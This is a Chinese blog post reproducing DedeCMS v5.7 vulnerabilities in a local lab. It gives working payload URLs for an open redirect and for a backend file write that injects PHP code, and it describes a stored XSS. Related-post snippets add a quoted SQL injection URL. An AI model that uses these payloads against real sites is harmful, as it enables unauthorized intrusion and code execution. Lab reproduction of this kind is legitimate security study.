DedeCMS_v5.7其他漏洞复现

于 2023-09-12 12:15:22 发布
阅读量480 收藏
点赞数
文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wutiangui/article/details/132828757
版权

一、URL重定向
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20=
其中aHR0cDovL3d3dy5iYWlkdS5jb20=是http://www.baidu.com的base64编码
在这里插入图片描述

访问后发现直接转到百度
在这里插入图片描述

二、后台shops_delivery_存储型XSS
管理员在添加用户购买商品的配送方式时，可能会触发存储型xss
模拟管理员添加配送方式：
进入后台—>会员—>配货方式设置—>增加一个配货方式
在这里插入图片描述

输入
在这里插入图片描述

用户在购买商品时会自动弹出配送方式列表
在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述

另外如果网页无法打开可以在后台更新内容
在这里插入图片描述

三、sys_verifies后台文件写入
版本：5.7sp1、5.7sp2
漏洞复现
payload
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=%22;phpinfo();die();//
执行后出现以下页面
在这里插入图片描述

后台modifytmp.inc被写入了新内容
在这里插入图片描述

只为了拿0day
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
dedecms v5.7越权漏洞复现
xxxMIng的博客
12-28 1953
环境搭建： 在win7x64上安装phpstudy 将网站源码 放置于C:\phpStudy\PHPTutorial\WWW\dedecms 并启动phpstudy 将运行模式放在系统服务上 应用 从物理机上访问该地址的index.php网页 进行下一步继续设定数据密码为root 管理员登陆 admin 密码 admin 点击继续即可完成搭站 ...
CVE-2018-20129-——DedeCMS V5.7 SP2前台文件上传漏洞
锋刃科技的博客
12-20 5616
0x01 漏洞概述 Desdev DedeCMS（织梦内容管理系统）是中国卓卓网络（Desdev）科技有限公司的一套开源的集内容发布、编辑、管理检索等于一体的PHP网站内容管理系统（CMS）。 Desdev DedeCMS 5.7 SP2版本中的uploads/include/dialog/select_images_post.php文件存在文件上传漏洞，远程攻击者可利用该漏洞上传并执行任意PH...
dedecms批量漏洞扫描.zip_dedecms_dedecms 扫描器_dedecms漏洞_dedecms路径扫描_批量扫描
07-13
dedecms批量漏洞扫描，大家可以自己试试效果
Dedecms_20150618_member_sqli (2).py
10-05
dedecms5.7sp1后台（要能够注册member的vip账户后台才可以）存在sql延时注入exp，用火狐得到账户登录的cookie替换，然后Python2.7跑脚本，from乌云雨神 http://www.hekaiyu.cn/hacker/3060.html
dedecms v5.7（build 20150618）的12个漏洞
热门推荐
ccfxue的博客
06-28 1万+
一打开阿里云后台，发现了12个加急处理的漏洞，还没来得及了解阿里云的漏洞检测原理，直接开始着手修复漏洞searching on baidu... ...  : )1.dedecms支付模块注入漏洞 描述：DEDECMS支付插件存在SQL注入漏洞，此漏洞存在于/include/payment/alipay.php文件中，对输入参数$_GET['out_trade_no']未进行严格过滤。解决：找到 ...
织梦dedecms漏洞修复大全(5.7起)
weixin_30472035的博客
12-30 785
很多人说dedecms不好，因为用的人多了，找漏洞的人也多了，那么如果我们能修复的话，这些都不是问题. 好，我们来一个一个修复。修复方法都是下载目录下该文件，然后替换或添加部分代码，保存后上传覆盖(记得先备份)，这样的好处是防止用懒人包上传之后因为UTF8和GBK不同产生乱码，或者修改过这几个文件，然后直接修改的部分被替换掉，那之前就白改了，找起来也非常的麻烦。如果你搜索不到，...
漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞
HengMengSec的博客
08-16 1931
织梦内容管理系统（DeDeCMS）以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统，它在多年的发展中取得了显著进步，无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国，DedeCMS被认为是最受欢迎的CMS系统之一。但是，最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断，攻击者可以利用弱类型比较来绕过安全措施。
DedecmsURL重定向漏洞
05-12 574
DedecmsURL重定向漏洞 漏洞说明 $link = base64_decode(urldecode($link)); link可以构造成任意地址！ header(“location:$link”); 影响所有用到dedecms系统的网站。 漏洞证明： http://www.********.com/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D 其中将********中间的这些星号替换为你的网站域名，如果跳
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
W小哥
03-03 1887
一、漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的tpl.php中存在代码执行漏洞，可以通过该漏洞在增加新标签中上传木马,获取webshell。 二、利用条件 该漏洞利用需要登录后台，并且后台的账户权限是管理员权限。 三、漏洞环境搭建 1、官方下载DeDeCMS V5.7 SP2(UTF-8),下载地址: http://www.d...
织梦CMS_V5.7任意用户密码重置漏洞复现
wutiangui的博客
09-12 812
漏洞位于member/resetpassword.php文件中，因未对传入的参数safeanswer进行严格类型检查，导致可使用弱类型比较绕过。在代码分析中，当 d o p o s t 等于 s a f e q u e s t i o n 时，通过传入的 dopost等于safequestion时，通过传入的 dopost等于safequestion时，通过传入的mid查询用户信息，判断安全问题和答案是否匹配。输入新密码，比如admin,然后登录试下，发现登录成功，数据库里查到的也是admin。
php东莞蒂凡品牌设计模板DEDECMS核心 v5.7.zip
11-19
【标题】"php东莞蒂凡品牌设计模板DEDECMS核心 v5.7.zip" 提供的是一个基于PHP语言开发的网站模板，适用于品牌设计展示。DEDECMS（织梦内容管理系统）是一个广泛使用的开源CMS系统，它允许用户通过简单的操作构建和...
基于PHP的东莞蒂凡品牌设计模板DEDECMS核心 v5.7.zip
07-25
【标题】"基于PHP的东莞蒂凡品牌设计模板DEDECMS核心 v5.7.zip" 指的是一款专门用于品牌设计的网站模板，该模板是建立在PHP编程语言基础上，利用DEDECMS（织梦内容管理系统）的核心功能构建的。DEDECMS是一款流行的...
基于PHP的东莞蒂凡品牌设计模板DEDECMS核心v5.7源码.zip
最新发布
10-10
【标题】"基于PHP的东莞蒂凡品牌设计模板DEDECMS核心v5.7源码.zip" 提供的是一款基于PHP编程语言的网站模板，它主要用于品牌设计领域，利用了DEDECMS（织梦内容管理系统）的核心框架。DEDECMS是一款广泛应用于中小型...
DEDE_5.7(1).rar
05-29
1. **DEDE_v5.7_Info.cwr**：这个文件可能代表“信息模块”，是DEDECMS系统中用于发布和管理各种类型信息的组件，例如公司介绍、服务条款、联系我们等。通过这个模块，网站管理员可以方便地添加、编辑和展示网站的...
Dedecms V5.7 SP2版本漏洞利用
dahege666的博客
03-07 9443
一、环境搭建 系统：Win10（64位） 工具：Phpstudy 源码：DedeCMS-V5.7-GBK-SP2-Full 二、安装phpstudy https://www.xp.cn/download.html 安装完成后.... 三、下载dedecms源码 http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5....
DedeCms v5.7 SQL注入漏洞
网站守护中心
04-13 5375
描述：DedeCms v5.7 SQL注入漏洞WASC Threat Classification 目标存在SQL注入漏洞。 1.SQL注入攻击就是攻击者通过欺骗数据库服务器执行非授权的任意查询过程。 - 收起 2.漏洞形成原因：dedecms v5.7的/member/ajax_membergroup.php脚本对用户提交给“membergroup”参数的数据在用于SQL查询前缺少过滤，
DEDEcms5.7 后台改造系列图文 之一：文章列表页的修改
树欲静而风不止
08-19 356
一、后台文章列表页增加简略标题 效果如下图所示：
实现DedeCMSv57缩略图自动裁剪自动适应比例教程
lllljz的专栏
08-08 269
实现DedeCMSv57缩略图自动裁剪自动适应比例教程。dedecms5.7缩略图变形尤其体现在图文资讯栏目里，默认的是img的HTML代码里限制图片的高和宽，但dedecms实际的缩略图大小则是按照比例缩小的，未必和HTML代码里限制的相同，最终导致了dedecms5.7缩略图变形，这个只有通过上传时对dedecms缩略图进行裁剪，保证其不变性. 　　dede默认只生成一个规格大小的缩略图，而往往在一个站不同页面内需要的缩略图大小不一致，比例不一致，这就造成了缩略图不清晰，失真，下面提供的方法就完美解决
DedeCMS_v5.7漏洞复现
qq_51459600的博客
04-06 1万+
DedeCMS_v5.7漏洞复现 环境搭建： 服务器：WinServer2008（10.10.10.143） + phpstudy2018 DedeCMS版本：DedeCMS-V5.7-UTF8-SP2 下载地址：https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk 0x01 URL重定向 版本<=5.7sp2 漏洞复现 payload： http://10.10.10.143/Dedecms/plus/download.php?open
dedecms漏洞复现
03-28
由于 Dedecms 平台存在多个漏洞，以下是一个常见的 Dedecms 漏洞复现过程： 1. 扫描目标 Dedecms 站点，确定其版本号和漏洞类型。 2. 找到对应的漏洞利用代码，例如 Dedecms v5.7 SP2 sql注入漏洞利用代码： ``` http://www.target.com/search.php?kw=%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%23 ``` 3. 将漏洞利用代码粘贴到浏览器地址栏并访问，如果出现错误信息或页面内容发生变化，则说明漏洞存在。 4. 利用漏洞进行攻击，例如获取敏感数据、添加管理员账户等。 需要注意的是，任何未经授权的攻击行为都是违法的，建议仅在合法的安全测试环境中进行漏洞复现和攻击。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值